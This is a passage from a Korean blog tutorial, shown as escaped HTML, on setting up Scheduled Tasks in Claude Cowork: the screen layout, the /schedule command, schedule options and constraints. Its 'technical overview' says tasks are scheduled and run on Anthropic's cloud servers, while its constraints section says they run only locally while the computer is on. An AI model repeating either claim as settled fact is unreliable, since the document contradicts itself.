&lt;td style=&quot;padding: 10px;&quot;&gt;Cowork 플러그인 2차 출시 &amp;mdash; Finance&amp;middot;HR&amp;middot;Engineering 등 10개 추가, Enterprise 기능 강화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc;&quot;&gt;2026년 2월 25일&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;&lt;b&gt;Scheduled Tasks 출시&lt;/b&gt; &amp;mdash; 플러그인 워크플로우를 정해진 시간에 자동 반복 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks의 핵심 의미는 단순 예약 실행이 아니다. 플러그인이 제공하는 &lt;b&gt;도메인 전문성(skills)&amp;middot;슬래시 명령어(slash commands)&amp;middot;외부 연동(connectors)&lt;/b&gt;을 스케줄에 묶으면, 반복 작업이 필요한 순간마다 전문가 수준의 AI가 자동으로 일을 처리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;발표 정보 확인&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 문서는 2026년 2월 27일 기준으로 작성되었습니다.&lt;br /&gt;최신 정보는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.ai/cowork&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Cowork&lt;/a&gt; 또는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.anthropic.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에서 확인하세요.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 2: 기술적 개요 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 기술적 개요&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;아키텍처&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 &lt;b&gt;클라우드 기반 스케줄링 아키텍처&lt;/b&gt;를 사용한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;중앙 스케줄러:&lt;/b&gt; Anthropic 서버에서 스케줄 관리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업 큐:&lt;/b&gt; 예약된 작업을 큐에 저장 후 지정된 시간에 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;상태 저장:&lt;/b&gt; 작업 상태와 실행 이력을 클라우드에 저장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;알림 시스템:&lt;/b&gt; 완료 시 사용자에게 알림 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;작동 원리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks의 실행 과정:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사용자가 Cowork에서 작업과 스케줄을 설정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Anthropic 서버가 스케줄을 저장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;지정된 시간이 되면 Claude가 작업을 자동으로 시작&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;작업이 완료되면 결과를 저장하고 알림 전송&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지원 작업 유형&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 다양한 유형의 작업을 지원한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;텍스트 생성:&lt;/b&gt; 리포트, 요약, 이메일 초안 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데이터 분석:&lt;/b&gt; 정기적 데이터 검토 및 통계 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;정리 작업:&lt;/b&gt; 문서 정리, 이메일 분류&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;연구 작업:&lt;/b&gt; 정기적 뉴스 요약, 트렌드 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 용어 설명 박스 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 12px; border: 2px solid #e0e0e0; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 0 0 15px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;주요 용어 설명&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;border-bottom: 1px solid #e0e0e0;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc; width: 30%;&quot;&gt;Cowork&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;Claude의 유료 협업 기능. 프로젝트 공동 작업, 파일 공유, 예약 작업 등을 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #e0e0e0;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc;&quot;&gt;Scheduled Tasks&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;예약 작업. 정해진 시간에 반복적으로 실행되는 자동화 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #e0e0e0;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc;&quot;&gt;스케줄 (Schedule)&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;작업이 실행되는 시간과 주기 (매일, 매주, 매월 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #e0e0e0;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc;&quot;&gt;크론 표현식&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;Unix 계열의 시간 기반 일정 스케줄러 표현식 (예: 0 9 * * *)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc;&quot;&gt;시간대 (Timezone)&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;스케줄 실행 기준 시간대 (예: Asia/Seoul, UTC+9)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Cowork 화면 구성&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;예약 작업을 만들기 전에 먼저 Claude의 &lt;b&gt;Cowork 화면 구성&lt;/b&gt;을 파악해두면 훨씬 빠르게 익힐 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cowork 탭 진입 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude 데스크탑 앱 상단에는 세 개의 탭이 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;채팅&lt;/b&gt; &amp;mdash; 일반 대화 화면 (기본값)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Cowork&lt;/b&gt; &amp;mdash; 협업 작업 및 예약 작업 관리 화면&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;코드&lt;/b&gt; &amp;mdash; 코드 편집 및 실행 화면&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;상단 탭에서 &lt;b&gt;Cowork&lt;/b&gt;를 클릭하면 예약 작업 관리 화면으로 진입한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo9DUO%2FdJMcafyV5dI%2FiROZNDM3yUS0VvA77y9Y51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2228&quot; height=&quot;850&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왼쪽 사이드바 메뉴&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork 탭에 진입하면 왼쪽 사이드바에 네 가지 메뉴가 표시된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;border-bottom: 1px solid #ddeeff;&quot;&gt;
&lt;td style=&quot;padding: 12px 10px; font-weight: bold; color: #0066cc; width: 28%;&quot;&gt;새 작업&lt;/td&gt;
&lt;td style=&quot;padding: 12px 10px;&quot;&gt;새로운 Cowork 작업(대화)을 시작하는 화면&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #ddeeff;&quot;&gt;
&lt;td style=&quot;padding: 12px 10px; font-weight: bold; color: #0066cc;&quot;&gt;검색&lt;/td&gt;
&lt;td style=&quot;padding: 12px 10px;&quot;&gt;기존 작업을 키워드로 검색하는 화면&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #ddeeff;&quot;&gt;
&lt;td style=&quot;padding: 12px 10px; font-weight: bold; color: #0066cc;&quot;&gt;예정됨&lt;/td&gt;
&lt;td style=&quot;padding: 12px 10px;&quot;&gt;&lt;b&gt;예약 작업 목록을 확인하고 관리하는 화면&lt;/b&gt; &amp;mdash; Scheduled Tasks의 핵심 메뉴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 10px; font-weight: bold; color: #0066cc;&quot;&gt;사용자 지정&lt;/td&gt;
&lt;td style=&quot;padding: 12px 10px;&quot;&gt;작업 환경 및 선호 설정을 구성하는 화면&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;예정됨&quot; 화면&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사이드바에서 &lt;b&gt;예정됨&lt;/b&gt;을 클릭하면 현재 등록된 예약 작업 전체 목록이 표시된다. 각 작업의 이름, 반복 주기, 다음 실행 시간을 한눈에 확인할 수 있으며, 작업을 클릭해 수정하거나 삭제할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;예정됨 화면이 예약 작업의 컨트롤 타워&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;모든 예약 작업의 생성&amp;middot;수정&amp;middot;삭제는 &lt;b&gt;예정됨&lt;/b&gt; 화면에서 관리한다. 자주 들르게 될 핵심 메뉴이므로 위치를 익혀두자.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예약 작업 만드는 2가지 방법&lt;/h3&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;방법 1 &amp;mdash; &quot;예정됨&quot; 화면에서 직접 생성&lt;/h4&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude Desktop 앱 상단 탭에서 &lt;b&gt;Cowork&lt;/b&gt; 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;왼쪽 사이드바에서 &lt;b&gt;예정됨&lt;/b&gt; 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;화면 우측 상단의 &lt;b&gt;+ 새 작업&lt;/b&gt; 버튼 클릭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;작업 내용, 반복 주기, 실행 시간 입력 후 저장&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;850&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo9DUO/dJMcafyV5dI/iROZNDM3yUS0VvA77y9Y51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo9DUO%2FdJMcafyV5dI%2FiROZNDM3yUS0VvA77y9Y51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2228&quot; height=&quot;850&quot; data-origin-width=&quot;2228&quot; data-origin-height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;방법 2 &amp;mdash; 기존 작업 대화창에서 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace; font-size: 14px;&quot;&gt;/schedule&lt;/code&gt; 명령어 사용&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;이미 진행 중인 Cowork 작업이 있다면 해당 대화창에서 바로 예약 작업으로 전환할 수 있다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;기존 Cowork 작업 대화창을 연다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;입력창에 &lt;code style=&quot;background-color: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;/schedule&lt;/code&gt; 를 입력하고 전송&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;스케줄 설정 화면이 나타나면 반복 주기와 실행 시간을 선택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;저장하면 해당 대화가 예약 작업으로 등록된다&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bzq9g/dJMcac9Yo6u/b1YCUXUi6iZ11tOX6ekkB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bzq9g/dJMcac9Yo6u/b1YCUXUi6iZ11tOX6ekkB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bzq9g/dJMcac9Yo6u/b1YCUXUi6iZ11tOX6ekkB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBzq9g%2FdJMcac9Yo6u%2Fb1YCUXUi6iZ11tOX6ekkB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;472&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 작업 대화창 입력창에 아래 명령어를 입력
/schedule&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;중요 제약사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;컴퓨터가 켜져 있어야 실행된다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;예약된 작업은 &lt;b&gt;컴퓨터가 켜져 있는 동안에만 실행된다.&lt;/b&gt;&lt;br /&gt;실행 예정 시간에 컴퓨터가 꺼져 있거나 절전 모드이면 해당 회차 작업은 건너뛰게 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기기 간에 동기화되지 않는다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;예약 작업은 &lt;b&gt;로컬에서 실행&lt;/b&gt;되므로 작업을 등록한 특정 기기에서만 동작한다.&lt;br /&gt;다른 컴퓨터의 Claude 앱에는 동일한 예약 작업이 나타나지 않는다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 4: 설정 및 요구사항 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설정 및 요구사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 조건&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: 구독 요구사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;예약 작업을 사용하려면 &lt;b&gt;Claude Cowork 구독&lt;/b&gt;이 필요하다. &lt;br /&gt;Cowork는 Claude의 유료 협업 기능으로, macOS와 Windows에서 사용할 수 있다. &lt;br /&gt;자세한 플랜별 가격과 기능 차이는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.ai/cowork&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cowork 페이지&lt;/a&gt;에서 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 구독 플랜 비교표 --&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스케줄 설정 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork에서 Scheduled Tasks를 설정하는 방법:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;단계 1: 새 작업 만들기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork 대시보드에서 &quot;New Task&quot;를 클릭하고 작업 내용을 입력한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;단계 2: 스케줄 설정&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;작업 설정에서 &quot;Schedule&quot; 옵션을 선택하고 주기를 설정한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;스케줄 옵션 예시:
- 매일 (Daily): 매일 아침 9시
- 매주 (Weekly): 매주 월요일 오전 10시
- 매월 (Monthly): 매월 1일 오후 2시
- 사용자 정의 (Custom): 크론 표현식 또는 간격 지정&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;단계 3: 저장 및 활성화&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Save&quot;를 클릭하여 스케줄을 저장하면, Claude가 지정된 시간에 자동으로 작업을 실행한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;설정 확인&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;설정이 완료되면 Cowork 대시보드에서 예약된 작업 목록을 확인할 수 있다. 각 작업 옆에는 다음 실행 시간이 표시된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시간대 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스케줄은 사용자의 시간대를 기준으로 설정된다. Cowork 설정에서 시간대를 확인하고 필요시 변경한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 5분 빠른 시작 섹션 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 22px; color: #0066cc; margin: 0 0 15px 0; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;예약 작업 만들어 보기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;따라하면서 바로 첫 예약 작업을 설정해보자.&lt;/p&gt;
&lt;/div&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 1: Cowork 접속&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.ai/cowork&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.ai/cowork&lt;/a&gt;에 접속하고 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
